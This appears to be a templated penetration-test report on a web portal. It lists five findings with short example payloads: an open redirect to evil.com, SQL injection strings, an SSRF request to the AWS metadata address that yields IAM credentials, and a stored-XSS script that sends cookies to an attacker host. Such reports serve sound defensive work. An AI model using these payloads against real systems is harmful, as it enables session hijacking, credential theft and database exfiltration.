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# Security Assessment Report

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nexus\_portal

**Prepared for:** nexus\_portal

**Assessment Period:** 2025/09/01 2026/01/31

**Report Generated:** 2026/02/12

**Classification:** Confidential

This report presents the findings of the security assessment conducted against nexus\_portal during the period 2025/09/01 to 2026/01/31. All identified vulnerabilities have been categorised by severity and include recommended remediation steps where applicable.

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## 1 Executive Summary

This assessment of nexus\_portal identified a total of 5 security finding(s) across the evaluation period (2025/09/01 to 2026/01/31). The table below provides a breakdown by severity level.

ATTENTION 1 critical-severity finding(s) were identified that pose an immediate risk to the confidentiality, integrity, or availability of the target system. These should be prioritised for remediation without delay.

Additionally, 2 high-severity finding(s) were identified that represent a significant risk and should be addressed in the short term.

| Severity | Count | Risk Level                         |
|----------|-------|------------------------------------|
| Critical | 1     | Immediate remediation required     |
| High     | 2     | Short-term remediation recommended |
| Medium   | 1     | Planned remediation advised        |
| Low      | 0     | Address during regular maintenance |
| Info     | 1     | Informational / best practice      |

| Metric            | Value                 |
|-------------------|-----------------------|
| Total Findings    | 5                     |
| Assessment Period | 2025/09/01 2026/01/31 |
| Report Date       | 2026/02/12            |

## 2 Scope and Methodology

The assessment targeted the asset identified as nexus\_portal. Testing was performed during the window 2025/09/01 through 2026/01/31 and included both automated scanning and manual analysis techniques.

Findings are classified using a five-tier severity model:

| Severity | Description                                                                                     |
|----------|-------------------------------------------------------------------------------------------------|
| Critical | Exploitation is trivial and leads to full system compromise, data breach, or service disruption |
| High     | Exploitation is likely and results in significant impact to security posture                    |
| Medium   | Exploitation requires specific conditions but could result in meaningful impact                 |
| Low      | Limited impact; exploitation is difficult or requires significant prerequisites                 |
| Info     | Informational observation or defence-in-depth recommendation                                    |

All findings include a description, the affected location, the current remediation status, and contextual details where relevant.

### 3 Findings Overview

The following table provides a high-level summary of all findings identified during the assessment.

| # | Severity | Title                       | Status      |
|---|----------|-----------------------------|-------------|
| 1 | Medium   | Open Redirect               | Open        |
| 2 | Critical | SQL Injection               | Open        |
| 3 | High     | Server-Side Request Forgery | In Progress |
| 4 | High     | Stored XSS in Comments      | Open        |
| 5 | Info     | Verbose Error Messages      | Open        |

## 4 Detailed Findings

### 1. Open Redirect

**Medium**

**Location:** <https://example.com/login?next=https://evil.com>

The `next` query parameter on the login page is used in a 302 redirect after successful authentication without validating that the target URL belongs to the application's own domain.

An attacker can craft a phishing link that first sends the victim through the legitimate login page, then redirects them to a credential-harvesting site.

## 2. SQL Injection

**Critical**

**Location:** <https://example.com/api/users?id=1>

The `id` parameter in the `/api/users` endpoint is directly concatenated into a raw SQL query without any parameterisation or input sanitisation.

Injecting `1OR1=1--` returns the full user table. Further exploitation confirmed the ability to `UNIONSELECT` from `information_schema.tables`, exposing the entire database schema.

**Impact:** Full read access to the database; potential for data exfiltration, privilege escalation or destructive operations.

### 3. Server-Side Request Forgery

**High**

**Location:** `https://portal.nexus.corp/proxy`

The `/proxy` endpoint fetches a user-supplied URL and returns the response body. No allowlist or blocklist is enforced, enabling requests to internal services. Submitting `url=http://169.254.169.254/latest/meta-data/` returns AWS instance metadata, including IAM role credentials.

Internal port scanning was also demonstrated by iterating over `http://10.0.0.1:<port>` and observing response time differences.

**Impact:** Access to cloud provider metadata and internal network services; potential for credential theft and lateral movement.



#### 4. Stored XSS in Comments

**High**

**Location:** <https://example.com/blog/post/42#comments>

The comment body field does not sanitise user-supplied HTML. Submitting `<script>fetch('https://evil.com/steal?c='+document.cookie)</script>` as a comment results in the script executing for every visitor who views the post.

Session cookies lack the `HttpOnly` flag, allowing full session hijack. As seen in the screenshot below, the attack successfully exfiltrates the session cookie to the attacker's server.



*Screenshot of the attack in action, showing the exfiltration of the session cookie to the attacker's server*

## 5. Verbose Error Messages

**Info**

**Location:** <https://example.com/api/search?q=%27>

Sending a single quote ' in the `q` parameter causes the application to return a full stack trace including internal file paths, framework version and database engine details:

```
PG::SyntaxError: ERROR: unterminated quoted string at or near ""  
LINE 1: SELECT * FROM products WHERE name LIKE '%'%'  
/app/vendor/bundle/ruby/3.1.0/gems/activerecord-7.0.4/lib/...
```

While not directly exploitable, this information aids further attacks (e.g., confirming PostgreSQL for SQL injection payloads).

## 5 Conclusion

This report has documented 5 finding(s) across the assessed target nexus\_portal. The severity distribution is summarised below:

| Severity | Count |
|----------|-------|
| Critical | 1     |
| High     | 2     |
| Medium   | 1     |
| Low      | 0     |
| Info     | 1     |

Findings rated Critical or High should be addressed as a priority. A reassessment is recommended following remediation to verify that identified issues have been resolved effectively.

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